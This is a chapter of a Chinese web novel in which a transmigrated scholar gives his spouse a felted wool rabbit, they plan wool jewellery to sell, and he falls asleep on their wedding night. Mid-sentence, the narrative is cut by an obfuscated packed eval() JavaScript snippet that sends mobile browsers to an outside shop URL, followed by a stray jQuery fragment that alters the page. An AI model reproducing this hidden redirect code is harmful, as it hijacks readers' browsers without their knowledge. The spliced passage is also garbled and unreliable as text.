蒋栗的视线落在纪喻的掌心。
那里有一个浅棕色的小物件，待走近了，他才看出那似乎是一个小兔子。
“兔子？”
他凑近了打量，满脸好奇。
“对，用羊毛戳出来的小兔子。给你。”
纪喻用另一手捏起掌心里的羊毛毡小兔子，递给蒋栗。
蒋栗接过，很是惊喜。
小小的兔子有耳朵，有墨水点出来的小眼睛，有三瓣嘴巴，惟妙惟肖的。
他眸子亮晶晶的看向纪喻：“相公，你竟然还有这种手艺？”
还真是小礼物啊……
他猜了一上午了，本以为会是纪喻亲手削的木簪，谁知道竟是个可爱的小兔子！
他忍不住瞥向纪喻，眸底藏着一丝意外和羞涩。
其实，以前葛爷爷出镖时，会给他带些外地的小物件、吃食，对他而言，这都是礼物。
但葛爷爷是长辈。
这只小兔子，是野鬼相公送的。
他那颗在今日之前从未跳动过的春心，此刻在他胸腔里犹如小兔子般蹦跳，让他忍不住含羞带喜的看向纪喻。
蒋栗的反应，让纪喻颇有成就感。
他微笑解释：“看二叔有羊毛，我便要了一点儿，随手试了试，竟成功了。”
他以前见过班上的女同学捣鼓羊毛毡工艺品，这东西没太多技巧，就是一手羊毛、一手戳针然后戳戳戳。
于是他就问纪老二要了一小团羊毛，回来后找了个细树枝，戳+精修，搞了半个时辰便成功戳出了一个可入眼的小兔子。
他相信，等以后熟练了，那速度会更快。
“谢谢相公，我很喜欢！嗯……我要把它藏起来。”
蒋栗语气带着几分活泼，视线在房间里打量，想寻个合适的地方存放小兔子。
要经常被他瞧见，又不会被丁引娣发现——在丁引娣眼中，野鬼相公用宝贵的读书时间来给他做小兔子，这不只是不务正业了，这是胡闹，是罪大恶极。
嗯，就放在枕边吧！
他脱鞋上炕，先轻轻摸了下小兔子，然后才有些不舍的把兔子放到枕旁。
正准备下炕，觉得不放心，他又扯了下枕头，让枕头把小兔子遮得严严实实。
他这幅郑重的样子，纪喻不由道：“等新吃食挣了钱，你去买些染了色的羊毛，我给你戳个首饰出来。”
他见过班里女同学戴羊毛毡耳钉。
“首饰？”
蒋栗惊讶。
“对，像是小兔子、小蜜蜂耳钉，或者是缀在簪子上，亦或者直接挂在衣服上。”
纪喻大概比划了一下。
就今日那个葛家小哥儿，脑袋上插了支银簪，簪子上还嵌了个珍珠，怪瞩目的。
他暂时买不起这种簪子。
可木簪上缀一个小蜜蜂，那肯定也好看。
羊毛毡也算毛绒绒嘛！
蒋栗听了纪喻的话，想象一下自己带着羊毛毡首饰的模样，双眸不由更亮。
他身为小哥儿却活的这么糙，不是他不爱漂亮，实在是顾不上……
不过，他好奇的看着纪喻：“相公，你怎会想到这么精妙的主意？”
“嗯……是我去府城赶考时，无意中听人说起的。那人说外地有人用羊毛做了首饰，新鲜有趣，我今日见到二叔在清洗羊毛，便想自个儿试试。”
“这样啊……”蒋栗恍然，没说信不信，只兴致勃勃的道：“的确新鲜有趣，咱们这边目前还未出现这种首饰，若咱们做了拿出去卖，肯定有不少人买。”
“卖？”
纪喻惊讶。
蒋栗神色一顿，随后有些不好意思的错开视线：“我就是随便说说。之前要养一家子，天天钻钱眼里了。你、你别嫌我俗气。”
之前蒋家靠他一个人养，他压力太大了，除了挣钱，脑子里装不下其他事。
再加上他现在还想还葛家恩情，于是听完纪喻的话，他第一时间琢磨的便是能不能用羊毛毡首饰换钱……
纪喻在炕边坐下，双手抓住蒋栗的肩：“我怎么会嫌你？这分明是你脑子转的快，灵活。而且，我在戳小兔子时也有过拿出去售卖的想法，只是……”
这下子轮到纪喻做出不好意思的神色了。
只是囊中羞涩。
根据原身的记忆，羊毛都拿去做羊毛毡毯、毡鞋了，没有人售卖羊毛毡工艺品。
这是一个空白但广大的市场。
可惜，他没本钱。
虽然这个世界养羊的多，可羊毛也没便宜到几文钱一斤，至于染了色的，那就更贵了。
他只能打消念头。
蒋栗没想到纪喻竟和他想一块去了，此刻，纪喻的神色认真诚恳，他心中一松，道：“那待用新吃食挣了银钱再说此事。”
“好。”
纪喻应下，这么个广袤的市场，能抓住还是要抓住：“对了，上午娘骂你了吗？”
蒋栗摇头：“没骂。”
“那就是小塘没告诉她。”
不错，纪塘这小子能处。
虽然身上有一些小毛病，但知道维护他这个大哥和蒋栗这个哥夫，干活也卖力，值得拉扯一把。
“小塘人不错，苋哥儿、小芹也很好。”
蒋栗道。
比起蒋剑锋、蒋自寒这兄弟俩，纪家四兄妹真真都是好人。
“相公，这用羊毛做小兔子的法子，你先教我好不好？我想给苋哥儿、小芹也做一个。况且，我学会了，就不占用你读书的时间了。”
他说着伸手扯住纪喻的袖子晃了晃，目露祈求。
纪喻不由自主的扬起嘴角，一张雌雄莫辨的漂亮脸蛋近在咫尺，眼神软、语气软，他脑中根本没有“蒋栗在装乖巧”这种念头，当即应道：“当然可以。”
蒋栗瞬间也扬起笑脸，一对小梨涡挂在嘴角，可可爱爱，目光也亮：“谢谢相公，相公待我真好。”
纪喻被瞧的有些不好意思，恰好这时窗外传来丁引娣的声音：“栗哥儿！在屋子里磨蹭什么？下地收土豆了。”
纪喻：“……”
他双手从蒋栗肩上收回来，轻声咳了一下：“那你去吧，我在家里……好好读书。”
尽管抗拒，但这书的确得读。
他可以逃避一时，但古代社会嘛，普通小民想日子安稳，肯定要有功名护身。
而秀才只是入门，举人才算是有能力庇护全家。
况且，蒋守拙此时已恢复了举人功名……
若一直瞒着蒋守拙夫夫俩苛待蒋栗的真相，那这对蒋栗不公平。
可若是不瞒，蒋守拙是举人，他拿什么去讨公道？
所以，这书，他必须得读。
待纪家众人都下了地，纪喻老老实实坐在窗旁读起了书。
他有原身的记忆，但想把那些知识融会贯通，他自个儿定然要将四书五经熟读多遍。
因此，当傍晚丁引娣、纪老三一进院子就听到了纪喻的读书声，两人心中的闷气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17592939|205503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬间消散。
这才对嘛！
中午那情形，他们四个子女简直像是中邪了！
纪喻在读书，他们便叫着纪塘、纪苋、纪芹的名字，说一些爹娘都是为了你们着想、读书才是唯一的出路之类的话语。
纪喻、纪塘、纪苋、纪芹都当没听到。
纪塘、纪苋两人将木桶里沉淀好的土豆淀粉挖出来摊在专用来晒红薯干的大柳筐里，如今天气一日热过一日，这些土豆淀粉明日便能晒好。
饭后，蒋栗烧热水让纪喻洗脚。
纪喻自己端洗脚水，坚持不让他伺候。
洗漱完毕，纪喻回了屋子，脱鞋上炕。
他脱了外衣，靠墙坐着，满脸的生无可恋。
读了一下午书，他现在满脑子之乎者也，对考举人的困难也有了新的认知。
蒋栗拎了个包裹进来，那是蒋栗的嫁妆，之前放在了纪苋那里，现在他和纪喻处的挺愉快，便将包裹拎了过来。
纪喻打起精神，让他把包裹放到炕尾的木箱里，又拍了拍身边的位置：“累了一天了，早些睡。”
蒋栗闻声，身子先是一僵，随后若无其事的应声。
他将木箱盖好，也上了炕。
他先从枕头下翻出小兔子，轻轻摸了摸，心中柔软。
让小兔子靠着墙，余光瞧见纪喻在发呆，似有心事的模样，他想了想，没问什么。
因为接下来有更要紧的事儿。
这个天气，他上身除了外衣，里边还穿了个露出半截手臂的小衫，下边穿了件只罩住大腿根的裈裤，这裤子一脱，那双腿就光溜溜了。
“相公，吹了灯吧。”
“啊？吹了灯你怎么……”
纪喻将后边的话咽了回去。
因为蒋栗正垂着头，去解上衣的扣子，俊俏的脸庞上带着明显的羞意。
纪喻心中一紧，顾不得感慨科举艰难，他意识到他忘了一件大事。
第一晚蒋栗是和纪苋睡的。
昨晚他晕了。
而今晚！
若无意外，他该和蒋栗洞房……
不是，他早上还想着人在炕前自然弯结果才过了一日就要弯吗？
“相公，吹灯。”
蒋栗催了一声。
纪喻：“……好。”
待会等灯灭了，蒋栗不至于扑到他怀里吧……
他万一立不起来，那蒋栗肯定会觉得自己嫌他。
纪喻忧心忡忡的吹熄油灯，磨磨蹭蹭的躺进被窝。
身边有窸窸窣窣声，片刻之后，被子被掀开，蒋栗躺了进来。
纪喻身子僵住，心中的小人急得团团转，怎么办怎么办？
蒋栗此刻身子也绷着。
上午纪喻又是圈他肩膀又是揉他脸，当时他又感动又脸红，脑子乱糟糟的。
但有一点能肯定：野鬼相公不排斥与他亲密。
中午他收到一个小兔子，于是一整个下午，那小兔子都在他心间跳啊跳的，让他对今晚莫名期待了起来。
野鬼相公刚上傻子秀才的身，不知道能不能和人圆房。
可万一野鬼相公有这个念头……
那真是刺激，他蒋栗，要和一个人面鬼心的野鬼造娃娃了！
此刻，终于和野鬼相公躺在一个被窝里，他抿着唇，放轻了呼吸，等着纪喻的动作。
等着等着，等他身子由紧绷到彻底放松，他耳边终于响起了均匀的呼吸声。
纪喻，睡着了。